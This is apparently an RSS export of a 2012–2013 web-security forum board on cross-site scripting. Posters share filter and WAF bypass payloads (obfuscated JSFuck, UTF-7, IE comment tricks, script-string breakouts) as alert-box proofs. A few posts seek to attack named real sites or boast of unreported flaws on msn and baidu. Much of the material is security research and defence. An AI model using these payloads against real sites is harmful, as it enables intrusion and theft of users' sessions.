Web Application Security Forum - XSS Info Q and A for any cross site scripting information. Feel free to ask away. http://sla.ckers.org/forum/list.php?2 Sun, 19 May 2013 05:16:49 -0500 Phorum 5.2.15a http://sla.ckers.org/forum/read.php?2,51695,51695#msg-51695 XSS in hidden Field (no replies) http://sla.ckers.org/forum/read.php?2,51695,51695#msg-51695
is it possible to have an exploit here?

<input type="hidden" value="INPUT" name="test">

INPUT is user input
<,>,(,) are encoded

I know we can exploit using style tag.. but the problem is I can't use (,) symbols... so is there anyway to bypass it.

regards]]> kamal XSS Info Tue, 26 Feb 2013 13:48:29 -0600 http://sla.ckers.org/forum/read.php?2,51690,51690#msg-51690 XSS Challenge (no replies) http://sla.ckers.org/forum/read.php?2,51690,51690#msg-51690
I am new here. Is nice to meet you guys.

I am with a challenge, but I could not solve it. I need bypass a regex to execute javascript inside eval.

The code is:

function json(a){
if (/^\s*$/.test(a) ? 0 : /^[\],:{}\s\u2028\u2029]*$/
.test(a.replace(/\\["\\\/bfnrtu]/g, "@")
.replace(/"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]")
.replace(/(?:^|:|,)(?:[\s\u2028\u2029]*\[)+/g, "")))

try{
return eval("(" + a + ")")
} catch (b) {}
g(Error("Invalid JSON string: " + a))
}
//...
json(window.name);


This ("true);alert(9);//" is very close to a valid javascript statement and will bypass this regex, but still is invalid. The problem? The quote. =(

Any ideas?]]> lucasnn XSS Info Fri, 08 Feb 2013 00:46:12 -0600 http://sla.ckers.org/forum/read.php?2,51680,51680#msg-51680 Cross Site Scripting Tunneling (no replies) http://sla.ckers.org/forum/read.php?2,51680,51680#msg-51680
~> What's a XSS tunnel?

Ok, XSST is a HTTP connection that you can stablish with a victim trhow a XSS usually attack.

~> What offers this attack?

This kind of attacks offers you a shell based on JS and allows you to execute some commands in victim's PC but the best of it is that you can configure victim's browser so as to reconnect whit your machine every time it starts.

More info ~~~> labs[dot]portcullis[dot]co[dot]uk/application/xss-tunnelling/

There is a paper in the web very easy so as to understand it.

Gr33tings!]]> Sr.Gr33n XSS Info Sun, 27 Jan 2013 11:44:16 -0600 http://sla.ckers.org/forum/read.php?2,51559,51559#msg-51559 How to use these XSS jnection vectors? (3 replies) http://sla.ckers.org/forum/read.php?2,51559,51559#msg-51559
I'm dedicated in learn XSS, I understand the basic and I'm learning everyday more and more - thanks to this great forum and all you guys.

Most of my tests are with FireFox 16.0.2 and this vulnerable test site (it's a site created intentionally to be vulnerable and test web issues):

http://demo.testfire.net/search.aspx?txtSearch=<script>alert(1)</script>

However, if you prefer any other to give me an working example not problem. :)

During these days I have collected a set of XSS payloads that are very interesting, however I'm unable to reproduce them and make the so wanted alert box appear. Can you please take a look at them and let me know why they are not working on my target test site?

Case #01:

/./iiin({}) // Chrome only

Ref.: http://sla.ckers.org/forum/read.php?2,29090,page=12

I tested with last version of Chrome and it doesn't work. Is it really possible to generate an alert box? Or is it just an test that do not produce anything useful?

Case #02:

“<META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/xss.css&gt;; REL=stylesheet”>”

Ref.: http://www.thespanner.co.uk/2007/10/01/xss-attacks-a-practical-example/

I tested with last version of Chrome and my Firefox and it doesn't work. Can someone point me what's wrong? Also, is there an special way to encode it to make it work?

I tried it like these without success:

http://demo.testfire.net/search.aspx?txtSearch=“<META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/xss.css&gt;; REL=stylesheet”>”

http://demo.testfire.net/search.aspx?txtSearch=“><META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/xss.css&gt;; REL=stylesheet”>”

http://demo.testfire.net/search.aspx?txtSearch=%E2%80%9C%3CMETA%20HTTP-EQUIV%3D%C3%A2%E2%82%AC%C2%9DLink%C3%A2%E2%82%AC%C2%9D%20Content%3D%C3%A2%E2%82%AC%C2%9D%3Chttp%3A%2F%2Fha.ckers.org%2Fxss.css%26gt%3B%3B%20REL%3Dstylesheet%C3%A2%E2%82%AC%C2%9D%3E%E2%80%9D

Case #03:

I have seen many of these crazy payloads:

([],[][(![]+[])[+!![]+!![]+!![]]+([][([][[]]+[])[+!![]+!![]+!![]+!![]+[]]+([][[]]+[])[+!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]+!![]]+(!![]+[])[+[]]+(![]+[])[+!![]+!![]+!![]+!![]+[]]+(!![]+[])[+!![]]]+[])[+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]])()[([]+[][(![]+[])[+!![]+!![]+!![]]+([][([][[]]+[])[+!![]+!![]+!![]+!![]+[]]+([][[]]+[])[+!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]+!![]]+(!![]+[])[+[]]+(![]+[])[+!![]+!![]+!![]+!![]+[]]+(!![]+[])[+!![]]]+[])[+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]])[(+!![]+!![])+(+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])]+([]+[][(![]+[])[+!![]+!![]+!![]]+([][([][[]]+[])[+!![]+!![]+!![]+!![]+[]]+([][[]]+[])[+!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]+!![]]+(!![]+[])[+[]]+(![]+[])[+!![]+!![]+!![]+!![]+[]]+(!![]+[])[+!![]]]+[])[+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]])[(+!![]+!![])+(+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])]+([]+[][(![]+[])[+!![]+!![]+!![]]+([][([][[]]+[])[+!![]+!![]+!![]+!![]+[]]+([][[]]+[])[+!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]+!![]]+(!![]+[])[+[]]+(![]+[])[+!![]+!![]+!![]+!![]+[]]+(!![]+[])[+!![]]]+[])[+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]])[(+!![]+!![])+(+!![]+!![]+!![]+!![]+[])]+(![]+[])[+!![]+!![]]]('alert(1)')

OR

+[+[+[]==+[]][+[]]+[[[]+[][+[]]][+[]][+[+[]==+[]][+[]]+[+[]==+[]][+[]]+[+[]==+[]][+[]]]+[]+[+[+[]==+[]][+[]]]+[+[+[]==+[]][+[]]]+[+[+[]==+[]][+[]]]+[+[+[]==+[]][+[]]]]]

However it doesn't work - I'm pretty sure that I'm missing something to make it works. I tested on last version of Chrome and Firefox on the test site with encoding, adding <script> tag, etc and nothing. Can soneome please give me an working example? I guess should be a generic way to test it such as we do with <script>alert(1)</script>, right?

Case #04:

Another very weird XSS payload, never worked in my tests with the environment previouus described.

<@uni>b=<@/uni>/\u/<@uni>[-1]<@/uni><@uni>z=<@/uni>/00/<@uni>[-1]<@/uni><@uni>c=<@/uni>/c/<@uni>[-1]<@/uni><@uni>e=0[<@/uni>'<@hex>ev<@/hex><@oct>al<@/oct>'<@uni>](<@/uni>'<@oct>b+z+61+b+z+6+c+b+z+65+b+z+72+b+z+74+b+z+28+b+z+31+b+z+29<@/oct>'<@uni>)<@/uni><@uni>0[<@/uni>'<@oct>ev<@/oct><@hex>al<@/hex>'<@uni>](e)<@/uni>

Is is real? Someone got it working? How? Can you please give me an example?

Case #05:

These payloads where you are in theory able to change the conten-type and define it as UTF-7 and inject this payloads with unicode or even non-alpha. Some payloads that I found use <head> before meta tag, however, none of them work. I tried URL-encode, inject <script> tag before, etc. I think they are very, very specific or I'm missing something.

<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">this['docum'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'\x6b\x69\x65']

<head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">'\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0034\u0028\u0031\u0029'.replace(/\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0037\u0034\u0028\u0031\u0029/,\u0065\u0076\u0061\u006c)</head>

<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">2BIBoAxAPAACU-tag+style%2BAD0AIg-xss%3Aexpression%28alert%286%29%29%2BACI-+%2BIBoAxCIr-

Can you please give a working example?

Case #06: - OK, I promise, this is the last one :-)

This one use some kind of strange charset, never worked here as well. I have no idea about how to encode it because with URL-encode it doesn't work to produce a alter box.

“¼script¾alert(¢XSS¢)¼/script¾â€

As I told on the beginning, please, feel free to test all of them on the test website (http://demo.testfire.net/search.aspx?txtSearch=InjectHere) and please, let me know if you were able to reproduce any of them. Also, if you prefer to use any other test site no problem. Maybe is there any requirement on the vulnerable script that is not present in this test site?

As you see I'm very curious about this strange and weird XSS, I would love to see them working, but I was unable myself, so I'm asking your help sla.ckers masters.

Thanks.]]> rickm XSS Info Sat, 24 Nov 2012 06:01:23 -0600 http://sla.ckers.org/forum/read.php?2,51539,51539#msg-51539 XSS Waf Bypass 19/OCT/2012 (1 reply) http://sla.ckers.org/forum/read.php?2,51539,51539#msg-51539 +
Detailed process for webpage rendering for begineers who want to go for XSS.

here is the link
http://adf.ly/E81iz]]> Vaibs XSS Info Tue, 25 Dec 2012 23:07:46 -0600 http://sla.ckers.org/forum/read.php?2,51515,51515#msg-51515 Xss reflected in cookie (3 replies) http://sla.ckers.org/forum/read.php?2,51515,51515#msg-51515 Thanks]]> acemutha XSS Info Sat, 13 Oct 2012 04:28:10 -0500 http://sla.ckers.org/forum/read.php?2,51495,51495#msg-51495 Close quoted attribute with anything except quote (2 replies) http://sla.ckers.org/forum/read.php?2,51495,51495#msg-51495
The input is filtered for " and nothing else. < and > are perfectly allowed. I feel that this must be exploitable in some browsers but I don't see how. Any ideas?]]> Albino XSS Info Tue, 25 Sep 2012 02:26:59 -0500 http://sla.ckers.org/forum/read.php?2,51483,51483#msg-51483 Working Chrome vectors (1 reply) http://sla.ckers.org/forum/read.php?2,51483,51483#msg-51483 asilvermtzion XSS Info Sun, 16 Sep 2012 08:57:28 -0500 http://sla.ckers.org/forum/read.php?2,51481,51481#msg-51481 HTTP 302 + Location + XSS (2 replies) http://sla.ckers.org/forum/read.php?2,51481,51481#msg-51481
I found an XSS like this:

HTTP/1.1 302 Found
Server: Apache
Content-Type: text/html; charset=ISO-8859-1
Location: http://localhost/<script>alert(123)</script>

<a href='http://localhost/<script>alert(123)</script>'>http://localhost/<script>alert(123)</script></a>

but, I can't obtain js execution.. is there any way to let the browser render the html/execute the payload before performing the redirection ?

Thanks]]> choronzon XSS Info Sun, 30 Sep 2012 08:20:17 -0500 http://sla.ckers.org/forum/read.php?2,51478,51478#msg-51478 Evading some input filters (of ' and ") in Firefox (no replies) http://sla.ckers.org/forum/read.php?2,51478,51478#msg-51478
Testing an application that had filtered the quotes ' and ", but not < and >, I found that in Firefox you can close the <script> section from a variable enclosed by quotes '' or double quotes "".

For example, if you have:

<script type="text/javascript">
var injectable ='p1injectable';
</script>

Imagine that is not possible to inject a quote because is filtered, but the characters < and > are not filtered in any way, then you can inject the following:

p1</script><script>alert(1)</script>

having something like this:

<script type="text/javascript">
var injectable ='p1</script><script>alert(1)</script>';
</script>

In this case, Firefox closes the first <script>, and then it executes the alert. I tested it on Firefox 15. In chrome this does not work and I didnt tested it on IE.

Regards!

Mario]]> Gryphus XSS Info Wed, 12 Sep 2012 03:36:23 -0500 http://sla.ckers.org/forum/read.php?2,51348,51348#msg-51348 referer XSS question (2 replies) http://sla.ckers.org/forum/read.php?2,51348,51348#msg-51348
I found a web app that prints referrer in HREF attribute value:

<A HREF="<?php echo htmlspecialchars($_SERVER['HTTP_REFERER']);?>">go back</A>

Is there any chance for XSS attack?

I tried on several browsers, and it seems that browsers do not send
referrer URL with "javascript:" or "data:" scheme, even the URL of
the originating web page has such schemes.]]> raracho XSS Info Tue, 21 Aug 2012 12:07:36 -0500 http://sla.ckers.org/forum/read.php?2,51344,51344#msg-51344 Crazy IE comment symbol :] (no replies) http://sla.ckers.org/forum/read.php?2,51344,51344#msg-51344
<!-- " --!><input value="><img src=xx:x onerror=alert(1)//">

<![if<iframe/onload=vbs::alert[:]>

<![<img src=x:x onerror=alert(1)//]-->

<style>//<!--</style> -->*{x:expression(alert(URL=3))}//<style></style>

<xmp><!--</xmp><img src="//mmme.me#--></xmp><img src=xx:x onerror=alert(1)//"/>

<!-- --!><input value="--><body/onload=alert(1)//">

<script>/*<!--</script>-->*/alert(1)/*<script>*/</script>]]> jackmasa XSS Info Fri, 17 Aug 2012 05:54:42 -0500 http://sla.ckers.org/forum/read.php?2,51088,51088#msg-51088 XSS via child document? (1 reply) http://sla.ckers.org/forum/read.php?2,51088,51088#msg-51088 cr101 XSS Info Sun, 12 Aug 2012 13:31:28 -0500 http://sla.ckers.org/forum/read.php?2,51066,51066#msg-51066 XSS + FF/Chrome + plain/text (1 reply) http://sla.ckers.org/forum/read.php?2,51066,51066#msg-51066
I have and xss like this:

POST /...
Host: server
...

par=<XSS>


HTTP/1.1 200 OK
...
Content-Type: text/plain; charset=UTF-8
...

{"par":"<XSS>"}


client-side code execution can be obtained with IE, but I need a working vector for FF or Chrome. Any suggestions?

Thanks,
c.]]> choronzon XSS Info Tue, 17 Jul 2012 05:22:15 -0500 http://sla.ckers.org/forum/read.php?2,50365,50365#msg-50365 10 new private xss detected on msn sub domain (no replies) http://sla.ckers.org/forum/read.php?2,50365,50365#msg-50365

http://vaibs.comuv.com/5.jpg
http://vaibs.comuv.com/6.jpg
http://vaibs.comuv.com/7.jpg
http://vaibs.comuv.com/8.jpg
http://vaibs.comuv.com/9.jpg
http://vaibs.comuv.com/10.jpg
http://vaibs.comuv.com/11.jpg
http://vaibs.comuv.com/12.jpg
http://vaibs.comuv.com/13.jpg
http://vaibs.comuv.com/14.jpg]]> Vaibs XSS Info Mon, 25 Jun 2012 11:16:32 -0500 http://sla.ckers.org/forum/read.php?2,50363,50363#msg-50363 Does anyone know of any good XSS backdoors? (no replies) http://sla.ckers.org/forum/read.php?2,50363,50363#msg-50363 cookiesui XSS Info Sun, 24 Jun 2012 22:29:35 -0500 http://sla.ckers.org/forum/read.php?2,49857,49857#msg-49857 JavaScript via CSS (9 replies) http://sla.ckers.org/forum/read.php?2,49857,49857#msg-49857
are there still possibilities to execute JavaScript via stylesheets?

The common methods like expression or moz-binding are not working in modern web browsers. It seems that Mozilla completely removed the -moz-binding functionality.

Regards]]> Jean Pascal Pereira XSS Info Sun, 01 Jul 2012 16:11:29 -0500 http://sla.ckers.org/forum/read.php?2,49835,49835#msg-49835 How about this solution for cross domain set cookie? (3 replies) http://sla.ckers.org/forum/read.php?2,49835,49835#msg-49835 www.logger.com
www.logspot.com

uid was to identify a user, and sid was to authenticate him.

Suppose most of the user will login via www.logger.com, and the browser will set the cookie:
Set-Cookie: uid=15732; PATH=/; DOMAIN=logger.com;
Set-Cookie: sid=FupX5px7X; PATH=/; DOMAIN=logger.com;

And when the user click a hyper link in www.logger.com to jump to www.logspot.com/index.html, I don't want that user input his uid and password again.

I wrote a script which place in www.logger.com (http://www.logger.com/get_sid.php):
<?php
header("Content-Type: application/x-javascript");

if (isset($_COOKIE["uid"]) && isset($_COOKIE["sid"])) {
echo "document.cookie = 'uid=" . $_COOKIE["uid"] . "; path=/; domain=logspot.com;';\n";
echo "document.cookie = 'sid=" . $_COOKIE["sid"] . "; path=/; domain=logspot.com;';\n";
} else {
echo "void(0);";
}
?>

And then, I put this script inside www.logspot.com/index.html:
<script src="http://www.logger.com/get_sid.php">

I have try that this script can set the cookie for www.logspot.com.

I have try to JSON-Hijacking this script, but I failed.

Do you think this solution is safe to use?]]> joel XSS Info Fri, 25 May 2012 20:50:08 -0500 http://sla.ckers.org/forum/read.php?2,49606,49606#msg-49606 meta name&value injection (1 reply) http://sla.ckers.org/forum/read.php?2,49606,49606#msg-49606
<meta name="[input1]" content="[input2]">

The only characters accepted are a-Z 0-9 - and _

Any ideas? I can't use http-equiv and <meta name="author" input="albino"> just isn't severe enough for my taste. Viewport looks interesting but I can't use =.]]> Albino XSS Info Mon, 18 Jun 2012 19:57:36 -0500 http://sla.ckers.org/forum/read.php?2,48391,48391#msg-48391 XSS (1 reply) http://sla.ckers.org/forum/read.php?2,48391,48391#msg-48391
I don't know how I can use xss attack in the following sites:

http://petition.adliran.ir/

and

http://adliran.ir/default_.aspx (I think it doesn't have a xss attack-but not sure)


pls guide me]]> mpour XSS Info Tue, 08 May 2012 18:26:37 -0500 http://sla.ckers.org/forum/read.php?2,48355,48355#msg-48355 Opera strange onerror execution (no replies) http://sla.ckers.org/forum/read.php?2,48355,48355#msg-48355 <img src="x" ="_=" title="onerror='alert(1)'">

I tried to found values before the =, which still execute the onerror event.
After using the whole Unicode Range, I found out that opera execute the onerror
with certain unicode characters.
BUT the unicodes which works change from time to time and from machine to machine. Additionally it works only if there a additionall <img> objects, they don't work with just one img object.
Here is a test page, its the unicode range from 1048576 - 1114111 (in decimal).
In this range only one alert gets triggered.

http://akjor.bplaced.net/fuzzer-1114112.html

In the alert box is the decimal value of the used unicode char.
Maybe you can help me to understand why this is happening

W4yne

BTW: Tested on Opera 11.62, Firefox 12 (which freezes when loading the page) and IExplorer. Chrome is not tested yet.]]> W4yne XSS Info Sat, 28 Apr 2012 02:54:19 -0500 http://sla.ckers.org/forum/read.php?2,46077,46077#msg-46077 how to prevent xss in textarea tag? (1 reply) http://sla.ckers.org/forum/read.php?2,46077,46077#msg-46077
http://ha.ckers.org/blog/20070617/another-google-xss-in-google-documents/

in this blog, RSnake Says:
June 18th, 2007 at 3:03 pm
<comment> <!– –> within iframe tags, noscript tags, and I’m sure there are several others.

I am not understand how to do.

If I filter the <,>,'," use htmlspecialchars() in PHP, the content output in the html would be:
<textarea>
&lt;
&gt;
&quot;
&#39;
</textarea>

But if do not filter these, there would be XSS, such as:
<textarea> ---system generate
</textarea> ---user input
<img src="javascript:alert('XSS')" ---user input
<textarea> ---user input

</textarea> ---system generate

Even if I filter the </textarea> tag, </tex</textarea>tarea> will bypass it.]]> joel XSS Info Tue, 17 Apr 2012 09:36:27 -0500 http://sla.ckers.org/forum/read.php?2,46068,46068#msg-46068 internet explorer madness (3 replies) http://sla.ckers.org/forum/read.php?2,46068,46068#msg-46068
Here's the code:

<html>
<head>
<link rel="stylesheet" href="https://SNIP" type="text/css">
</head>
<body>
<script>
alert(document.body.currentStyle.fontFamily);
</script>
</body>
</html>

I've looked at the HTTP requests in burp and they appear to be identical, except that the local one is missing the Referer header since it's cross-protocol.

I've tried changing the doctype & turning quirks mode on and off to to avail. Any ideas?]]> Albino XSS Info Mon, 23 Apr 2012 07:24:34 -0500 http://sla.ckers.org/forum/read.php?2,45385,45385#msg-45385 Bypassing Chrome XSS filter + Apache mod_security? (4 replies) http://sla.ckers.org/forum/read.php?2,45385,45385#msg-45385
<svg><script>//&#x0A;alert(1)</script> works with Chrome (due to a current bug in Chrome's XSS filter), but not mod_security, due to mod_security not allowing <script

<img src="x:blah" onerror="alert(1)"> seems to bypass mod_security, but Chrome strips onerror and all other on attributes.

Both these filters are definitely vulnerable, but I don't know how to make something that'll bypass both.

I control the attribute of an <a onclick="">, and there's no escaping or filtering done by the web app itself. So "> does break me out. I only control that one variable though.

Any ideas?

Thanks.]]> serpentine85 XSS Info Thu, 05 Apr 2012 17:19:30 -0500 http://sla.ckers.org/forum/read.php?2,45384,45384#msg-45384 Can anyone tell me something about <![CDATA[]]>]]> XSS ? (no replies) http://sla.ckers.org/forum/read.php?2,45384,45384#msg-45384
Can anyone tell me something about <![CDATA[]]>]]> XSS vulnerability?

please have a look at the following link.

https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)

It tells something about CDATA section delimiters: <![CDATA[ / ]]>

Can anyone elaborate that, with examples?

Also is it associated with .xhtml pages? Is it required to handle CDATA "]]>" character for XSS in .html application?

Regards,
Dinesh]]> neuf.martial XSS Info Mon, 02 Apr 2012 08:10:09 -0500 http://sla.ckers.org/forum/read.php?2,45368,45368#msg-45368 Are the following characters XSS vulnerable? (3 replies) http://sla.ckers.org/forum/read.php?2,45368,45368#msg-45368 We are trying to implement security in our application, wherein we need to encode and decode the user inputs.

So can anybody please provide me a list of all the characters that are disallowed or dangerous, that I need to encode?

For eg. for "<" character we use &lt;, for ">" character we use &gt;

so can anybody please tell me if the following mentioned characters are XSS vulnerable, and if yes, then how to encode them?

1) ! - exclamation mark - characters for additional command execution

2) - hyphen - can be used in database queries, and the creation of negative numbers.

3) /\ = The forward-slash and back-slash are often used for faking paths and queries

4) { } [ ] = Curly brackets and square brackets are often used as script, program or regex expressions.

5) *(asterisk) = Often used in database queries for “all”.

eg. <script>x=""*alert(1)*"";y=42;</script>

6) `(Grave accent) = If you need to use both double and single quotes you can use a grave accent(`) to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents.

<IMG SRC=`javascript:alert("Hello, 'XSS'")`>

7) / (division or forward slash) -

<script>x=""/alert(1)/"";y=42;</script>

8) Bitwise “xor” operator: (^)


<script>x=""^alert(1)^"";y=42;</script>


9) Bitwise Left Shift (<<)

<script>x=""<<alert(1)<<"";y=42;</script>



10) Bitwise Right Shift (>>)

<script>x="">>alert(1)>>"";y=42;</script>



11) Bitwise Right Shift With Zeros

<script>x="">>>alert(1)>>>"";y=42;</script>



12) Ternary Conditional Expression

<script>x=""?alert(1):"";y=42;</script>


Please let me know if I need to encode these characters too. I am using Java for development.

Thanks]]> neuf.martial XSS Info Mon, 18 Jun 2012 20:19:41 -0500 http://sla.ckers.org/forum/read.php?2,43662,43662#msg-43662 Found 8 Xss on baidu.com but who cares.:P (5 replies) http://sla.ckers.org/forum/read.php?2,43662,43662#msg-43662
Who knows chinese or what ever can find that page.
Let see]]> Vaibs XSS Info Tue, 25 Dec 2012 23:33:04 -0600 http://sla.ckers.org/forum/read.php?2,43565,43565#msg-43565 XSS double quotes filter bypass (5 replies) http://sla.ckers.org/forum/read.php?2,43565,43565#msg-43565 The code looks like: 
<input type="text" name="search" value="&quot;><script>alert(1)</script>">
Any help please?]]> Pr3nK XSS Info Wed, 14 Mar 2012 04:19:11 -0500 http://sla.ckers.org/forum/read.php?2,43563,43563#msg-43563 IE blocks accessing document object in flash file (no replies) http://sla.ckers.org/forum/read.php?2,43563,43563#msg-43563 Thanks.

don't work:
ExternalInterface.call("eval","alert(document.cookie)");
ExternalInterface.call("eval","alert(document.location)");

but this work well:
ExternalInterface.call("eval","alert(window.location)");]]> behnaz XSS Info Sun, 11 Mar 2012 10:15:09 -0500 http://sla.ckers.org/forum/read.php?2,43308,43308#msg-43308 Close but no cigar, help for the final hurdle? (2 replies) http://sla.ckers.org/forum/read.php?2,43308,43308#msg-43308
Results in source:

<input type="hidden" name="pageURL" value= (){}/\>

and bit further down:

<input type="text" name="link" id="link" style="width:400px" value=" (){}/\"/>


Can't think of any input type xss which doesn't use ' " ', can anyone help?

Closest I have got:

<input type="hidden" name="pageURL" value=/ AUTOFOCUS onfocus=alert(1) >
[but no alert]

[using Firefox, but any browser would be a help]

TheGreatEscape]]> thegreatescape XSS Info Sun, 04 Mar 2012 14:12:47 -0600